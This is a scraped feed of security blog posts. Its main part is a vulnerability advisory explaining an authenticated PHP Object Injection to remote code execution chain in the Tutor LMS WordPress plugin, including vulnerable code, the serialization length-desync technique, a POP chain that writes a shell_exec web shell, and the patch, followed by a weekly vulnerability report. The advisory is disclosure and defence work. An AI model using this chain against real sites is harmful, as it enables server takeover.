This finding is separate from the vulnerabilities featured in HEIF Heist, but it reinforces the same real-world lesson. An exploit may need to be tailored to its target, yet that work can be done quickly and may carry across other servers built the same way. Our finding is also newer: it remained present in libheif 1.23.2, the release that fixed two critical HEIF Heist vulnerabilities, and was not fixed until 1.23.3.

This is exactly why we built Wordfence Argus. Securing WordPress means looking beyond WordPress Core and plugins, then following untrusted data through every layer that handles it. In this case, Argus followed a photo upload into a system library most site owners did not know they were running, found a critical vulnerability, and gave our researchers a path to prove what it could mean on a real server, WordPress or otherwise.

Whether you’re vulnerable depends on your libheif version and how it was built. Check Site Health for HEIC support, install your operating system or hosting provider’s fixed package, restart affected services, and rebuild container images from an updated base. If you can’t update yet, block HEIC and HEIF file types.

Our thanks go to Dirk Farin, who released the fix in four days.

If you know someone running a site that accepts image uploads, please share this advisory with them.

The post Wordfence Argus Discovers Critical Vulnerability in libheif, the Library That Opens iPhone Photos on Your Server appeared first on Wordfence.

]]> 100,000 WordPress Sites Exposed to Remote Code Execution via PHP Object Injection Vulnerability Found by Wordfence Argus in Tutor LMS https://swiftupdates.ca/100000-wordpress-sites-exposed-to-remote-code-execution-via-php-object-injection-vulnerability-found-by-wordfence-argus-in-tutor-lms/ Thu, 17 Sep 2026 21:38:57 +0000 https://swiftupdates.ca/100000-wordpress-sites-exposed-to-remote-code-execution-via-php-object-injection-vulnerability-found-by-wordfence-argus-in-tutor-lms/ On August 23rd, 2026, Wordfence Argus, our AI research agent specializing in complex vulnerability chains, discovered a PHP Object Injection vulnerability in Tutor LMS, a WordPress e-learning plugin active on more than 100,000 websites. This vulnerability allows any authenticated attacker with subscriber-level access to achieve remote code execution on the server by exploiting an interaction between WordPress’s database abstraction layer and PHP’s serialization engine. Because Tutor LMS is built around student enrollment and most installations enable open registration by default, the authentication bar is effectively low for any visitor who can reach the site.

Our mission is to secure WordPress through defense in depth, which is why we are investing in proactive vulnerability research of this kind alongside our Bug Bounty Program. We are committed to making the WordPress ecosystem more secure through the detection and prevention of vulnerabilities, which is a critical element to our multi-layered approach to security.

Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against known exploits targeting this vulnerability on August 25, 2026. Sites using the free version of Wordfence will receive the same protection 30 days later, on September 24, 2026.

We sent full disclosure details to the Themeum team through our Wordfence Vulnerability Management Portal on August 23, 2026, the same day we received and validated the report. The Themeum team acknowledged the vulnerability on August 24, 2026, and released a fully patched version, 4.0.8, on September 10, 2026. We would like to commend the Themeum team for their prompt response and timely patch.

We urge users to update their sites with the latest patched version of Tutor LMS, version 4.0.8 at the time of this publication, as soon as possible.

Vulnerability Summary from Wordfence Intelligence

Tutor LMS <= 4.0.7 – Authenticated (Subscriber+) PHP Object Injection to Remote Code Execution

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-78175
Affected Version(s)
<= 4.0.7
Patched Version
4.0.8

Affected Software

Tutor LMS – eLearning and online course solution [tutor]

Researchers

The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.0.7 via the `withdraw_method_field` parameter of the `tutor_save_withdraw_account` AJAX handler. This is due to the handler lacking any capability or role check, relying solely on a nonce, while also passing attacker-supplied values through `esc_sql()`, which replaces every `%` character with a 66-byte HMAC placeholder token before the data is serialized and stored via `update_user_meta()`; when the meta is later retrieved, the placeholder is collapsed back to a single `%`, leaving serialized string length declarations 65 bytes greater than the actual content, and because array keys originate from entirely unescaped POST field names, `unserialize()` over-reads into attacker-controlled bytes, allowing injection of an arbitrary serialized object stream. This makes it possible for authenticated attackers, with subscriber-level access and above, to achieve remote code execution on the server by triggering the `GuzzleHttpCookieFileCookieJar` POP chain, reachable via the `spl_autoload_register` loader in `TUTORRestAPI` which loads the plugin’s own bundled PayPal Composer autoloader, writing attacker-controlled content to an attacker-specified filename. This has an unauthenticated pathway when user registration is enabled, which is common for students and teachers to register, and it requires the monetization feature to be enabled.

More Details >

Technical Analysis

Unfortunately, insecure implementation of the plugin’s withdraw account management feature allows for PHP Object Injection leading to remote code execution. The vulnerability spans four components across the plugin, exploits an obscure interaction inside WordPress core’s database abstraction layer, and terminates in a destructor method of a bundled third-party library.

The entry point is the tutor_save_withdraw_account AJAX handler, registered in classes/Withdraw.php. As shown on line 44 of Withdraw.php, the handler is registered using the wp_ajax_ hook only — the authenticated hook — with no corresponding capability check anywhere in the handler body:

public function __construct() {
    add_action( 'wp_ajax_tutor_save_withdraw_account', array( $this, 'tutor_save_withdraw_account' ) );
    add_action( 'wp_ajax_tutor_make_an_withdraw', array( $this, 'tutor_make_an_withdraw' ) );
    add_filter( 'tutor_withdrawal_methods_all', array( $this, 'withdraw_methods_all' ) );
    add_filter( 'tutor_withdrawal_methods_available', array( $this, 'withdraw_methods_available' ) );
}

The handler’s only access gate is a nonce check via tutor_utils()->checking_nonce() on line 195. That nonce is emitted on every frontend page load via wp_localize_script in classes/Assets.php, meaning any logged-in subscriber can obtain a valid _tutor_nonce simply by loading the homepage.

On a typical Tutor LMS site that allows open student registration, an anonymous visitor can self-register as a subscriber via the tutor_register_student action and immediately obtain this nonce, giving them everything they need to reach the vulnerable handler. Notably, the sibling handler tutor_make_an_withdraw does enforce an is_instructor() capability check; the absence of the same check on tutor_save_withdraw_account is what leaves this path open to any subscriber.

Attacker-controlled data flows in through $_POST['withdraw_method_field'][$method], retrieved on line 204 via tutor_utils()->avalue_dot(). The keys of this associative array, the $input_name values, come entirely from POST field names and are never sanitized or constrained. The values are then processed on line 213:

$method_data               = tutor_utils()->avalue_dot( 'withdraw_method_field.' . $method, $_POST );
$available_withdraw_method = $this->withdraw_methods_all();
if ( tutor_utils()->count( $method_data ) ) {
    $saved_data                         = array();
    $saved_data['withdraw_method_key']  = $method;
    $saved_data['withdraw_method_name'] = tutor_utils()->avalue_dot( $method . '.method_name', $available_withdraw_method );
    foreach ( $method_data as $input_name => $value ) {
        $saved_data[ $input_name ]['value'] = esc_sql( sanitize_text_field( $value ) );
        $saved_data[ $input_name ]['label'] = tutor_utils()->avalue_dot( $method . ".form_fields.{$input_name}.label", $available_withdraw_method );
    }

    update_user_meta( $user_id, '_tutor_withdraw_method_data', $saved_data );
}

The root cause is the misuse of esc_sql() on a value destined for update_user_meta() rather than a raw database query string. esc_sql() internally calls wpdb::add_placeholder_escape(), which replaces every literal % character with a 66-byte HMAC-keyed placeholder token. This is a WordPress internal safety mechanism designed to prevent % characters from being misinterpreted as printf-style format specifiers in $wpdb->prepare(). When a value like AAAA%z passes through esc_sql(), it becomes a 71-character string in memory. update_user_meta() then calls maybe_serialize() on the entire $saved_data array, faithfully serializing this inflated string as s:71:"AAAA{token}z".

Here is the twist that turns this into a length desync. WordPress strips those placeholder tokens back out of every query immediately before execution, wpdb registers remove_placeholder_escape() on the query filter at priority 0, so it runs on the UPDATE statement that writes the user meta. As the row is written, the 66-byte token collapses back to a single % character in place, inside the already-serialized string. What actually lands in the database is s:71:"AAAA%z", a serialized string token that declares a length of 71 bytes but whose actual content is only 6 bytes. The corruption is baked into storage on write; the payload detonates the next time that blob is unserialized on read.

When maybe_unserialize() later hands this string to PHP’s unserialize(), the parser reads 71 bytes starting from the opening quote, over-reading 65 bytes past the end of AAAA%z and into the next array element. Because the keys of $saved_data come from unescaped POST field names that the attacker controls entirely, the attacker can craft a second array key whose content is a well-formed serialized object stream. After the 65-byte over-read consumes the attacker’s padding, the parser resumes execution on the injected payload.

Detonation requires only that the corrupted blob be unserialized, and sending the same request a second time is sufficient to cause it. On the first request, the corrupted user meta is written to the database. On the second request, the plugin’s update_user_meta() call invokes WordPress core’s update_metadata(), which to determine whether the value has actually changed, reads the previously-stored value via get_metadata_raw(), and get_metadata_raw() runs maybe_unserialize() on it.

That core-internal maybe_unserialize() on the corrupted blob materializes the attacker’s injected objects. The corrupted meta is equally a latent landmine for any other reader: WithdrawModel::get_user_withdraw_method() runs get_user_meta( $user_id, '_tutor_withdraw_method_data', true ) → maybe_unserialize(), and it is invoked both by the tutor_make_an_withdraw handler and whenever the withdrawal dashboard or account settings page is rendered, so simply viewing the withdrawal page also detonates the payload.

The injected payload is a two-element array. The first element references the class name ecommercePaymentGatewaysPaypalvendorautoload, not a real class, but a name crafted so that when unserialize() tries to resolve it, the plugin’s registered autoloader maps the name to a filesystem path and includes, via require_once(), the corresponding file. The plugin registers a custom spl_autoload_register callback in classes/RestAPI.php:

private function loader( $class_name ) {
    if ( ! class_exists( $class_name ) ) {
        $class_name = preg_replace( array( '/([a-z])([A-Z])/', '/\\/' ), array( '$1$2', DIRECTORY_SEPARATOR ), $class_name );
        $class_name = str_replace( 'TUTOR' . DIRECTORY_SEPARATOR, 'restapi' . DIRECTORY_SEPARATOR, $class_name );
        $file_name  = $this->path . $class_name . '.php';

        if ( file_exists( $file_name ) ) {
            require_once $file_name;
        }
    }
}

This loader translates the class name ecommercePaymentGatewaysPaypalvendorautoload into a filesystem path and, because the file exists in the plugin directory, it includes, via require_once(), the bundled PayPal Composer autoloader at ecommerce/PaymentGateways/Paypal/vendor/autoload.php. That Composer autoloader in turn registers the GuzzleHttp* class hierarchy, making the second injected object, a genuine GuzzleHttpCookieFileCookieJar, fully materializable.

When PHP’s garbage collector destroys the deserialized FileCookieJar instance, its __destruct() method calls save(), which calls file_put_contents( $this->filename, json_encode( $this->cookies ) ). Because the attacker controls both $this->filename (set to a .php path under wp-content/uploads) and the cookie Name property of a contained SetCookie object (set to a <?php echo shell_exec(...); ?> payload), the destructor writes a PHP web shell to disk. Any subsequent HTTP request to that path executes arbitrary operating system commands as the web server user, completing a full remote code execution chain reachable by any subscriber-level user.

The Patch

The Themeum team patched this vulnerability in version 4.0.8 with a set of changes to tutor_save_withdraw_account() in classes/Withdraw.php that address multiple layers of the attack chain simultaneously. The most important addition is a proper capability check immediately after the nonce verification, ensuring the handler is only reachable by instructors:

// Checking nonce.
tutor_utils()->checking_nonce();
$user_id = get_current_user_id();

// Withdraw account settings are for instructors only.
if ( ! tutor_utils()->is_instructor( $user_id ) ) {
    wp_send_json_error( array( 'msg' => tutor_utils()->error_message() ) );
}

This single addition closes the subscriber-level access pathway. The patch also removes esc_sql() from the value-sanitization path, the direct root cause of the length-desync primitive, replacing it with sanitize_text_field() and sanitize_email() applied after wp_unslash(), none of which introduce serialization-corrupting length inflation.

Critically, the patch introduces a strict whitelist for array keys: the loop now iterates over $form_fields (the plugin’s own declared field definitions for the chosen withdrawal method) rather than over the attacker-supplied $method_data, and only accepts keys present in both. This prevents an attacker from injecting arbitrary keys into the serialized payload regardless of the value-handling path. Finally, the method name is validated against the plugin’s list of available withdrawal methods before any field processing occurs:

$form_fields = $available_withdraw_method[ $method ]['form_fields'] ?? array();
if ( ! is_array( $form_fields ) || empty( $form_fields ) ) {
    wp_send_json_error();
}

$method_data = tutor_utils()->avalue_dot( 'withdraw_method_field.' . $method, $_POST );
if ( ! is_array( $method_data ) || ! tutor_utils()->count( $method_data ) ) {
    wp_send_json_error();
}

$saved_data                         = array();
$saved_data['withdraw_method_key']  = $method;
$saved_data['withdraw_method_name'] = $available_withdraw_method[ $method ]['method_name'] ?? '';

foreach ( $form_fields as $input_name => $field ) {
    if ( ! array_key_exists( $input_name, $method_data ) ) {
        continue;
    }
    $raw_value = $method_data[ $input_name ];
    if ( is_array( $raw_value ) ) {
        continue;
    }

    $field_type = $field['type'] ?? 'text';
    $value      = 'email' === $field_type
        ? sanitize_email( wp_unslash( $raw_value ) )
        : sanitize_text_field( wp_unslash( $raw_value ) );

    $saved_data[ $input_name ] = array(
        'value' => $value,
        'label' => $field['label'] ?? '',
    );
}

Together, these changes address the vulnerability at four independent points: the authentication gate, the serialization corruption source, the key injection vector, and the method validation bypass. Any one of the first three changes alone would have been sufficient to block exploitation; shipping all of them in a single patch demonstrates thorough remediation. A key highlight of defense in depth applied as a patch.

Disclosure Timeline

2026-08-23
Wordfence Argus, our automated research agent specializing in complex vulnerability chains, identified the PHP Object Injection vulnerability in Tutor LMS, and the Wordfence Threat Intelligence team validated it the same day
2026-08-23
Full disclosure details were sent to the Themeum team through our Wordfence Vulnerability Management Portal
2026-08-24
The Themeum team acknowledged the report and began working on a fix
2026-08-25
Wordfence Premium, Care, and Response users received a firewall rule to provide added protection against any exploits targeting this vulnerability
2026-09-10
The Themeum team released Tutor LMS version 4.0.8, which fully addresses the vulnerability
2026-09-11
Wordfence published this advisory to inform the broader WordPress community
2026-09-24
Wordfence free users receive the firewall rule
Wordfence action
Vendor / external action

Conclusion

In this blog post, we detailed a PHP Object Injection vulnerability within the Tutor LMS plugin affecting versions 4.0.7 and earlier. This vulnerability allows authenticated attackers with subscriber-level access to achieve remote code execution on the server by exploiting a serialization length-desync primitive and a POP chain terminating in the plugin’s bundled GuzzleHttp library. The vulnerability has been fully addressed in version 4.0.8 of the plugin.

We encourage all WordPress site owners running Tutor LMS to update to version 4.0.8 or later as soon as possible. Given that Tutor LMS sites commonly enable open student registration as a core part of their function, the effective authentication bar for exploitation is low on many affected installations, making this a high-priority update.

Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against any exploits targeting this vulnerability on August 25, 2026. Sites using the free version of Wordfence will receive the same protection 30 days later, on September 24, 2026.

If you know someone who uses this plugin on their site, we recommend sharing this advisory with them to ensure their site remains secure, as this vulnerability poses a significant risk.

The post 100,000 WordPress Sites Exposed to Remote Code Execution via PHP Object Injection Vulnerability Found by Wordfence Argus in Tutor LMS appeared first on Wordfence.

]]> Wordfence Intelligence Weekly WordPress Vulnerability Report (September 7, 2026 to September 13, 2026) https://swiftupdates.ca/wordfence-intelligence-weekly-wordpress-vulnerability-report-september-7-2026-to-september-13-2026/ Thu, 17 Sep 2026 18:40:43 +0000 https://swiftupdates.ca/wordfence-intelligence-weekly-wordpress-vulnerability-report-september-7-2026-to-september-13-2026/ Last week, there were 260 vulnerabilities disclosed in 207 WordPress Plugins that have been added to the Wordfence Intelligence Vulnerability Database, and there were 147 Vulnerability Researchers that contributed to WordPress Security last week. Review those vulnerabilities in this report now to ensure your site is not affected.

Our mission with Wordfence Intelligence is to make valuable vulnerability information easily accessible to everyone, like the WordPress community, so individuals and organizations alike can utilize that data to implement layered security, aligning with our overarching mission to secure WordPress with defense in depth strategies. That is why the Wordfence Intelligence user interface, vulnerability API, and webhook integration are all completely free to access and utilize both personally and commercially, and why we are running this weekly vulnerability report. As the world’s leading quality vulnerability database provider for WordPress, site owners can rest assured knowing Wordfence has their back.

Enterprises, Hosting Providers, and even Individuals can utilize the vulnerability Database API to receive a complete dump of our database of over 40,000 vulnerabilities and then utilize the webhook integration to stay on top of the newest vulnerabilities added in real-time, as well as any updates made to the database, all for free.

Click here to sign-up for our mailing list to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published.

Total Unpatched & Patched Vulnerabilities Last Week

Patch Status Number of Vulnerabilities
Patched 217
Partially Patched 1
Unpatched 42

Total Vulnerabilities by CVSS Severity Last Week

Severity Rating Number of Vulnerabilities
Medium Severity 184
High Severity 66
Critical Severity 10

Total Vulnerabilities by CWE Type Last Week

Vulnerability Type by CWE Number of Vulnerabilities
Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) 66
Missing Authorization 58
Exposure of Sensitive Information to an Unauthorized Actor 21
Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) 18
Improper Privilege Management 15
Authorization Bypass Through User-Controlled Key 13
Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’) 11
Deserialization of Untrusted Data 10
Improper Control of Generation of Code (‘Code Injection’) 9
Improper Authentication 6
Unrestricted Upload of File with Dangerous Type 6
Client-Side Enforcement of Server-Side Security 5
Cross-Site Request Forgery (CSRF) 5
Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’) 3
Insufficient Verification of Data Authenticity 2
Protection Mechanism Failure 2
URL Redirection to Untrusted Site (‘Open Redirect’) 2
Authentication Bypass Using an Alternate Path or Channel 1
Guessable CAPTCHA 1
Improper Neutralization of Special Elements in Output Used by a Downstream Component (‘Injection’) 1
Incorrect Authorization 1
Missing Authentication for Critical Function 1
Server-Side Request Forgery (SSRF) 1
Uncontrolled Resource Consumption 1
Unverified Password Change 1

Researchers That Contributed to WordPress Security Last Week

Researcher Name Number of Vulnerabilities

25

10

10

10

6

6

6

5

4

4

4

4

3

3

3

3

3

3

3

3

3

3

3

3

3

2

2

2

2

2

2

2

2

2

2

2

2

2

2

2

2

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1
efd10eb3421a6ca0a3d855ad7029a801
V1T

1

1

1

1

1

1

1

1

1

1
b879437258152fc3023ac0a0d84bf29e
yck

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

Are you a security researcher who would like to be featured in our weekly vulnerability report? You can responsibly disclose your WordPress vulnerability discoveries to us and earn a bounty on in-scope vulnerabilities through our Bug Bounty Program. Responsibly disclosing your vulnerability discoveries to us will also get your name added on the Wordfence Intelligence leaderboard along with being mentioned in our weekly vulnerability report.

WordPress Plugins with Reported Vulnerabilities Last Week

Software Name Software Slug
AcyMailing – An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress acymailing
Advanced Contact form 7 DB advanced-cf7-db
Advanced Customized Prompts advanced-customized-prompts
Advanced Partial Payment or Deposit for WooCommerce advanced-partial-payment-or-deposit-for-woocommerce
Advanced Product Fields Extended for WooCommerce advanced-product-fields-for-woocommerce-extended
AI Builder – Generate pages, blocks, images & translate with AI ai-builder
Aruba HiSpeed Cache aruba-hispeed-cache
Awesome Support – WordPress HelpDesk & Support Plugin awesome-support
BackWPup – WordPress Backup & Restore Plugin backwpup
bbPress bbpress
BEAR – Bulk Editor for WooCommerce Professional. AI assistant on board (MCP Server) woo-bulk-editor
Beaver Builder Page Builder – Drag and Drop Website Builder beaver-builder-lite-version
Bold Page Builder bold-page-builder
Bold Timeline Lite bold-timeline-lite
Booking for Appointments and Events Calendar – Amelia ameliabooking
Bookit — Booking & Appointment Calendar bookit
Booktics – Appointment Booking Calendar for Service Businesses booktics
BuddyPress buddypress
Builderall for WordPress builderall-cheetah-for-wp
Bulk Password Reset bulk-password-reset
CatalogX – Catalog Mode, Enquiry & Quotes for WooCommerce woocommerce-catalog-enquiry
Checkout Custom Fields Builder for WooCommerce checkout-custom-fields-builder-for-woocommerce
CODE MONKEYS PROPOSALS – Easily create client proposals from your WordPress admin dashboard code-monkeys-proposals
Contact Form to Chat Apps | Click to Chat to Order – FormyChat social-contact-form
Contact Form to DB by BestWebSoft – Messages Database Plugin For WordPress contact-form-to-db
Content Mask content-mask
CoolClock coolclock
CryptoPayment Gateway cryptopayment-gateway
Csomagpontok és Címkék WooCommerce-hez hungarian-pickup-points-for-woocommerce
Custom Menu Wizard Widget custom-menu-wizard
Direct Download for WooCommerce direct-download-for-woocommerce
Domain For Sale – Landing Page Per Domain, Domain Mapping, Offers & Listings domain-for-sale
Drag and Drop File Upload for Elementor Forms drag-and-drop-file-upload-for-elementor-forms
DT LMS – elearning, WordPress LMS Plugin dt-lms-lite
Easy Appointments easy-appointments
Easy Google Fonts easy-google-fonts
EDD Product Catalog Feed by PixelYourSite edd-products-feed-pro
ElasticPress elasticpress
ELEX WooCommerce Request a Quote elex-request-a-quote
Email Subscribers & Newsletters – Email Marketing, Post Notifications & Newsletter Plugin for WordPress email-subscribers
Event Booking Manager for WooCommerce – Sell Tickets, Event Registration, RSVP & Event Calendar mage-eventpress
Event Tickets and Registration event-tickets
Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce wp-event-solution
EventON – Events Calendar eventon-lite
Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder with AI everest-forms
Featured Image with URL featured-image-with-url
FireBox – WooCommerce Popup Builder, Exit Intent Popup, Email Optin & Cart Abandonment firebox
Flexible Quantity – Measurement Price Calculator for WooCommerce flexible-quantity-measurement-price-calculator-for-woocommerce
Floating Chat Widget: Contact Chat Icons, Telegram Chat, Line Messenger, WeChat, Email, SMS, Call Button – Chaty chaty
Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder form-maker
Frontegg SAML SSO frontegg-saml-sso
GamiPress – Gamification plugin to reward points, badges & ranks in WordPress, now with AI gamipress
Gato GraphQL gatographql
GEO my WP geo-my-wp
Gpx2Graphics gpx2graphics
Graphina – Charts and Graphs For Elementor graphina-elementor-charts-and-graphs
Groundhogg — CRM, Newsletters, and Marketing Automation groundhogg
Gutenverse News – News Blocks for Blog & Magazine Sites gutenverse-news
Hide My WP Ghost – Security & Firewall hide-my-wp
HT Menu – WordPress Mega Menu Builder for Elementor ht-menu-lite
HUSKY – Products Filter for WooCommerce Professional woocommerce-products-filter
Hustle – Email Marketing, Lead Generation, Optins, Popups wordpress-popup
ilGhera Reviso Exporter for WooCommerce wc-exporter-for-reviso
IMPress for IDX Broker idx-broker-platinum
Insert or Embed Articulate Content into WordPress insert-or-embed-articulate-content-into-wordpress
IP2Location Country Blocker ip2location-country-blocker
IPGP Visitors Origin ipgp-visitors-origin
JCH Optimize jch-optimize
JetFormBuilder — Dynamic Blocks Form Builder jetformbuilder
Jetpack – WP Security, Backup, Speed, & Growth jetpack
Kirki – Freeform Page Builder, Website Builder & Customizer kirki
LearnPress – WordPress LMS Plugin for Create and Sell Online Courses learnpress
Live Composer – Free WordPress Website Builder live-composer-page-builder
Loops & Logic tangible-loops-and-logic
LukasApps CAPTCHA tools for Contact Form 7 contact-form-7-simple-recaptcha
Mail Mint – Email Marketing, Automation & WooCommerce Emails with AI Assistance mail-mint
MailMunch – Grow your Email List mailmunch
Master Addons for Elementor – Elementor Addons, Widgets, Mega Menu Builder, Popup Builder, Widget Builder & Template Kits master-addons
Masteriyo LMS – LMS Course Builder, Quizzes & Certificates learning-management-system
MDJM Event Management mobile-dj-manager
Media Library Assistant media-library-assistant
MemberPress Corporate Accounts memberpress-corporate
MetForm – Contact Form, Survey, Quiz, Conditional Forms, Form Templates & Custom Form Builder for Elementor metform
miniOrange 2FA – Two Factor Authentication for WordPress (OTP, SMS, Email, Google Authenticator) miniorange-2-factor-authentication
MIPL Checkout Fields Manager for WooCommerce – Customize, Organize & Group Checkout Fields. mipl-wc-checkout-fields
Mobile Events Manager mobile-events-manager
MPG – Multiple Page Generator, Bulk Landing Pages & Programmatic SEO multiple-pages-generator-by-porthas
MultiVendorX – WooCommerce Multivendor Marketplace AI Powered Solutions dc-woocommerce-multi-vendor
Music Store – WordPress eCommerce music-store
My Calendar – Accessible Event Manager my-calendar
Nexi XPay Build nexi-xpay-build
Next-Cart Store to WooCommerce Migration nextcart-woocommerce-migration
Ninja Forms – The Contact Form Builder That Grows With You ninja-forms
Notiqoo – Order Notification & Customer Chat for WooCommerce wc-messaging
Online Scheduling and Appointment Booking System – Bookly bookly-responsive-appointment-booking-tool
Open User Map – Interactive Leaflet Maps open-user-map
Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts & More themeisle-companion
OTP Login & Register Woocommerce mobile-login-woocommerce
Page Visits Counter – Lite page-visits-counter-lite
Passster – Password Protect Pages and Content content-protector
Payment Gateway PayPay for WooCommerce wc-paypay-gateway
Payment Plugins for PayPal WooCommerce pymntpl-paypal-woocommerce
Payment Plugins for Stripe WooCommerce woo-stripe-payment
PDF Builder for WooCommerce. Create invoices,packing slips and more woo-pdf-invoice-builder
Podlove Podcast Publisher podlove-podcasting-plugin-for-wordpress
Points Management System For Gamification, Ranks, Badges, and Loyalty Rewards Program – myCred mycred
Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) buddyforms
Product Filter for WooCommerce by WBW woo-product-filter
Product XML Feed Manager for WooCommerce – Google Shopping, Social Sites, Skroutz & More product-xml-feeds-for-woocommerce
PublishPress Capabilities: User Role Access Control, Admin Area Permissions capability-manager-enhanced
Quads Ads Manager for Google AdSense quick-adsense-reloaded
Quentn WP quentn-wp
Quiz and Survey Master (QSM) – Quiz Maker & Survey Maker quiz-master-next
Rara One Click Demo Import rara-one-click-demo-import
Really Simple Security – Simple and Performant Security (formerly Really Simple SSL) really-simple-ssl
Redux Framework redux-framework
Registration Form for WooCommerce registration-form-for-woocommerce
Relevanssi – A Better Search relevanssi
RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress computer-repair-shop
Repeater Fields for Gravity Forms repeater-for-gravity-forms
Return Refund and Exchange For WooCommerce woo-refund-and-exchange-lite
Robokassa payment gateway for Woocommerce robokassa
Rox Appointment Booking – Appointment Booking Scheduling Solution rox-appointment-booking
Royal Addons for Elementor – Addons and Templates Kit for Elementor royal-elementor-addons
rtMedia for WordPress, BuddyPress and bbPress buddypress-media
RTMKit rometheme-for-elementor
Salon Booking System – Appointment Booking for Salons, Barbershops & Spas salon-booking-system
SEO Flow by LupsOnline lupsonline-link-netwerk
Shirt Product Designer for WooCommerce woo-shirt-product-designer
Shopping Cart & eCommerce Store wp-easycart
Sidebar Manager Light sidebar-manager-light
Simple Ajax Chat – Add a Fast, Secure Chat Box simple-ajax-chat
Simple CAPTCHA with Cloudflare Turnstile simple-cloudflare-turnstile
Simple Membership simple-membership
Simple Payment simple-payment
Sina Extension for Elementor sina-extension-for-elementor
Site Kit by Google – Analytics, Search Console, AdSense, Speed google-site-kit
Site Reviews site-reviews
SiteSkite MCP AI – Connector for Claude, ChatGPT, Cursor & WordPress WebOps siteskite
Sky Addons for Elementor sky-elementor-addons
Slim SEO – AI SEO Plugin, Lightweight, Fast & Automated slim-seo
Smart Marketing SMS and Newsletters Forms smart-marketing-for-wp
SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery sms-alert
Spam protection, Honeypot, Anti-Spam by CleanTalk cleantalk-spam-protect
Sprout Invoices – Client Invoicing & Estimates sprout-invoices
SSL Zen — SSL Certificate Installer & HTTPS Redirects ssl-zen
Starter Templates: AI-Powered Website Templates for Elementor & Gutenberg astra-sites
Sticky Chat Widget – Floating Chat Icons, Contact Form, Call, Click to Chat, Email & Message Buttons sticky-chat-widget
Sunshine Photo Cart – Client Photo Gallery & Photo Proofing for Photographers sunshine-photo-cart
SupportCandy – AI Customer Support Ticket System & Live Chatbot Agent supportcandy
SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments surecart
SureRank SEO – Meta Tags, Social Preview, XML Sitemap, Schema & Open Graph surerank
Teddy Bear Customize Addon teddy-bear-customize-addon
Temporary Login Without Password temporary-login-without-password
Thanko Thank You Page Customizer for WooCommerce – Increase Your Sales woo-thank-you-page-customizer
The Events Calendar the-events-calendar
ThemeREX Addons trx_addons
Themify – WooCommerce Product Filter themify-wc-product-filter
Translate WordPress with GTranslate gtranslate
Tutor LMS – eLearning and online course solution tutor
Ultimate Gift Cards for WooCommerce woo-gift-cards-lite
Unbounce Landing Pages unbounce
Unlimited Elements For Elementor unlimited-elements-for-elementor
User Access Manager user-access-manager
User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder user-registration
UsersWP – Front-end login form, User Registration, User Profile & Members Directory plugin for WP userswp
Verified Reviews (Avis Vérifiés) netreviews
Vigilant – 100% Free Security Suite: Firewall, 2FA, Login, Headers, Scanner… vigilante
Visual Composer Website Builder visualcomposer
Visualizer – Tables & Charts Manager with Built-in AI Generator visualizer
WebTotem Backups wt-backups
Wise Chat wise-chat
WooCommerce woocommerce
WP BackItUp Community Edition wp-backitup
WP Compress – Instant Performance & Speed Optimization wp-compress-image-optimizer
WP Crowdfunding wp-crowdfunding
WP Directory Kit wpdirectorykit
WP Docs wp-docs
WP Express Checkout (Fast Payments via PayPal & Stripe) wp-express-checkout
WP Fast Total Search – The Power of Indexed Search fulltext-search
WP Fusion (Pro) wp-fusion
WP Highlight Box wp-highlight-box
WP Module Data wp-module-data
WP Photo Album Plus wp-photo-album-plus
WP Plugin Bluehost bluehost-wordpress-plugin
WP Plugin Crazy Domains wp-plugin-crazy-domains
WP Plugin Hostgator wp-plugin-hostgator
WP Plugin Web wp-plugin-web
WP Recipe Maker wp-recipe-maker
WP Travel – Ultimate Travel Booking System, Tour Management Engine wp-travel
WP-Members Membership Plugin wp-members
WP-Stateless – Google Cloud Storage wp-stateless
WPAdverts – Classifieds Plugin wpadverts
WPBot – AI ChatBot for Live Support, Lead Generation, WordPress Automation, AI Services chatbot
WPCafe – Restaurant Menu, Online Food Ordering & Table Booking System wp-cafe
WPCS – WordPress Currency Switcher Professional currency-switcher
WPFunnels – Funnel Builder for WooCommerce with Checkout & One Click Upsell wpfunnels
WPLP Cookie Consent – Cookie Banner & Consent Management for GDPR, CCPA & Google Consent Mode gdpr-cookie-consent
WPML Multilingual CMS sitepress-multilingual-cms
WPMR Google Feed Manager for WooCommerce – Sell on Google Merchant Center & Shopping wp-product-feed-manager
YITH WooCommerce Waitlist Premium yith-woocommerce-waiting-list-premium
YITH WooCommerce Wishlist yith-woocommerce-wishlist
Youzify – BuddyPress Community, User Profile, Social Network & Membership Plugin for WordPress youzify
Zephyr Project Manager zephyr-project-manager
ZHBackup – Backup, Restore & Migration zhbackup
zipMoney(Zip Co) Payments Plugin for WooCommerce zipmoney-payments-woocommerce
المنتور فارسی persian-elementor

Vulnerability Details

